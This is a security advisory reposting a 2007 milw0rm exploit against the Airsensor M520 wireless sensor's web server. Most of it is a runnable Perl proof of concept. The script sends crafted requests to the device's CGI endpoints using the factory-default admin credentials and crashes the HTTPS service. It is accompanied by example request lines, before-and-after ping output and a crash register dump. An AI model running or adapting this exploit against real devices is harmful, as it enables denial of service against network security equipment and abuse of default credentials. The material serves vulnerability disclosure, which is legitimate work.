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Airsensor M520 HTTPD Preauth DoS and Buffer Overflow (Exploit)
------------------------------------------------------------------------
SUMMARY
A vulnerability in Airsensor M520 is caused due to an unspecified error in
the CGIs files filter used for configure proprieties. This can be
exploited by sending a specially crafted HTTPS request (necessary
authentication), which will cause the HTTPS service on the system to
crash.
DETAILS
Exploit:
#!/usr/bin/perl -w
#
# Airsensor M520 HTTPD Remote Preauth Denial Of Service and Buffer
Overflow PoC
#
# The vulnerability is caused due to an unspecified error in the cgis
# files filter used for configure propierties. This can be exploited by
# sending a specially crafted HTTPS request (necessary authentication),
# which will cause the HTTPS service on the system to crash.
#
# Requisites: "Use DHCP" option interface mark "No"
#
# Examples:
#
# GET https://192.168.100.100/adLog.cgi?%41%41%41 HTTP/1.1
# GET https://192.168.100.100/post.cgi?%41%41%41 HTTP/1.1
# GET https://192.168.100.100/ad.cgi?%41%41%41 HTTP/1.1
#
# Pinging:
#
# Before:
#
# Reply from 192.168.100.100: bytes=32 time<1ms TTL=64
# Reply from 192.168.100.100: bytes=32 time<1ms TTL=64
# Reply from 192.168.100.100: bytes=32 time<1ms TTL=64
#
# After:
#
# Hardware error.
# Hardware error.
# Hardware error.
# Request timed out.
# Request timed out.
# Request timed out.
#
# C:\>nc -vvn 192.168.100.100 443
# (UNKNOWN) [192.168.100.100] 443 (?): connection refused
# sent 0, rcvd 0: NOTSOCK
#
# Buffer Overflow debug log:
#
# 1970-01-01 00:00:15 SYS-INFO:: AirDefense Firmware Version 4.4.1.4,
Model = M520
# 1970-01-01 00:00:15 SYS-CRIT:: SENSOR EXCEPTION ERROR
# 1970-01-01 00:00:15 SYS-CRIT:: SENSOR VERSION NUMBER: 4.4.1.4
# 1970-01-01 00:00:15 SYS-CRIT:: SENSOR Up Time: 00:08:51
# 1970-01-01 00:00:15 SYS-CRIT:: Time of Exception: 1970-01-01 00:08:55
# 1970-01-01 00:00:15 SYS-CRIT:: Exception ID = 10 ( Reserved
Instruction)
# 1970-01-01 00:00:15 SYS-CRIT:: Thread = HTTPD
# 1970-01-01 00:00:15 SYS-CRIT:: MIPS Register Dump:
# 1970-01-01 00:00:15 SYS-CRIT:: zero=0x00000000 at=0xfffffffe
v0=0x00000000 v1=0x00000000
# 1970-01-01 00:00:16 SYS-CRIT:: a0=0x00000000 a1=0x3d000000
a2=0x00000010 a3=0x00000041
# 1970-01-01 00:00:16 SYS-CRIT:: t0=0x00000000 t1=0x0000003d
t2=0x0000000b t3=0x00000000
# 1970-01-01 00:00:16 SYS-CRIT:: t4=0x802f799c t5=0xf43dd40f
t6=0x0066a1a4 t7=0x4df0e494
# 1970-01-01 00:00:16 SYS-CRIT:: s0=0x802f7dbf s1=0x0000001f
s2=0x802f7910 s3=0x80120000
# 1970-01-01 00:00:16 SYS-CRIT:: s4=0x80120000 s5=0x80986c30
s6=0x80120000 s7=0x80128afc
# 1970-01-01 00:00:16 SYS-CRIT:: t8=0x480ec8cd t9=0x742b7136
k0=0x802f78c8 k1=0x802f7910
# 1970-01-01 00:00:16 SYS-CRIT:: gp=0x8015b070 sp=0x802f7910
fp=0x80128aec ra=0x800b2534
# 1970-01-01 00:00:16 SYS-CRIT:: Address of instruction that caused
exception = 0x800b2534
# 1970-01-01 00:00:16 SYS-CRIT:: Memory address at which adress
exception occured = 0x00000000
# 1970-01-01 00:00:16 SYS-CRIT:: Return address = 0x800b2534
# 1970-01-01 00:00:17 SYS-CRIT:: Status Reg = 0x1000af03
# 1970-01-01 00:00:17 SYS-CRIT:: Cache Reg = 0x00000000
# 1970-01-01 00:00:17 SYS-CRIT:: Cause Reg = 0x30000028
# 1970-01-01 00:00:17 SYS-CRIT:: Config Reg = 0x03fffbfb
# 1970-01-01 00:00:17 SYS-CRIT:: Vector = 40
# 1970-01-01 00:00:17 SYS-CRIT:: Processor Version = 0x00018009
# 1970-01-01 00:00:17 SYS-CRIT:: Stack Trace Begin: "->" = return
address
# 1970-01-01 00:00:17 SYS-CRIT:: [802f7910]=0x802f7dbf
# 1970-01-01 00:00:17 SYS-CRIT:: [802f7914]=0x00000000
# 1970-01-01 00:00:17 SYS-CRIT:: [802f7918]=0x00000000
# 1970-01-01 00:00:19 SYS-CRIT:: [802f7990]=0x80130000
# 1970-01-01 00:00:19 SYS-CRIT:: [802f7994]=0x802f7db4
# 1970-01-01 00:00:19 SYS-CRIT:: [802f7998]=0x80152e18
# 1970-01-01 00:00:19 SYS-CRIT:: [802f799c]=0x80152ed8
# 1970-01-01 00:00:19 SYS-CRIT:: [802f79a0]=0x802f7dbf
# 1970-01-01 00:00:19 SYS-CRIT:: [802f79a4]=0x80986c30
# 1970-01-01 00:00:19 SYS-CRIT:: [802f79a8]=0x802f8200
# 1970-01-01 00:00:19 SYS-CRIT:: ->[802f79ac]=0x800f0450 <- return
address
# 1970-01-01 00:00:19 SYS-CRIT:: [802f79b0]=0x0d0a0074
# 1970-01-01 00:00:21 SYS-CRIT:: Stack Trace End:
#
# The vulnerability has been reported in versions Airdefense
#
# Firmware Version 4.3.1.1, Model = M520
# Firmware version 4.4.1.4, Model = M520
#
# More information:
http://support.airdefense.net
#
# Very special credits: str0ke, Kf, rathaous, !dsr, 0dd.
#
# and friends: nitr0us, crypkey, dex, xdawn, sirdarckcat, kuza55,
# pikah, codebreak, h3llfyr3
#
# Alex Hernandez ahernandez [at] sybsecurity dot com
#
use strict;
use LWP;
use Data::Dumper;
require HTTP::Request;
require HTTP::Headers;
my $string = "%41%41%41"; # Strings to send
my $method = 'GET'; # Method "GET" or "POST"
my $uri = 'https://192.168.100.100'; # Factory default IP address
my $content = "/adLog.cgi?"; # Cgi's file to crash
#my $content = "/ad.cgi?";
#my $content = "/post.cgi?";
#my $content = "/logout.cgi?";
my $headers = HTTP::Headers->new(
'Host:' => '192.168.100.100',
'User-Agent:' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1;
en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6',
'Accept:' =>
'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
'Accept-Language:' => 'en-us,en;q=0.5',
'Accept-Charset:' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Keep-Alive:' => '300',
'Connection:' => 'keep-alive',
'Referer:' =>
'https://192.168.100.100/adLog.cgi?submitButton=refresh&refresh=Refresh',
'Authorization:' => 'Basic YWRtaW46YWlyc2Vuc29y', # base64 encode
admin:airsensor
);
my $request = HTTP::Request->new($method, $uri, $headers, $content,
$string);
my $ua = LWP::UserAgent->new;
my $response = $ua->request($request);
print "[+] Denial of Service exploit for Airsensor M520 Final\n";
print "[+] Coded by: Alex Hernandez [ahernandez\@sybsecurity.com]\n";
print "[+] We got this response from sensor: \n\n" . $response->content .
"\n";
my $data;
foreach my $pair (split('&', $response->content)) {
my ($k, $v) = split('=', $pair);
$data->{$k} = $v;
}
if ($data->{RESULT} != 0) {
print "[+] Denial of Service exploit for Airsensor M520 Final\n";
print "[+] Coded by: Alex Hernandez[ahernandez\@sybsecurity.com]\n";
print "[+] Use:\n";
print "\tperl -x dos_sensor.pl\n";
print $data->{RESPMSG} . "\n";
exit(0);
} else {
print "[+] Denial of service Exploit successed!!!\n";
print "[+] By Alex Hernandez[ahernandez\@sybsecurity.com]\n";
}
# milw0rm.com [2007-09-18]
ADDITIONAL INFORMATION
The information has been provided by <mailto:ahernandez@sybsecurity.com>
Alex Hernandez.
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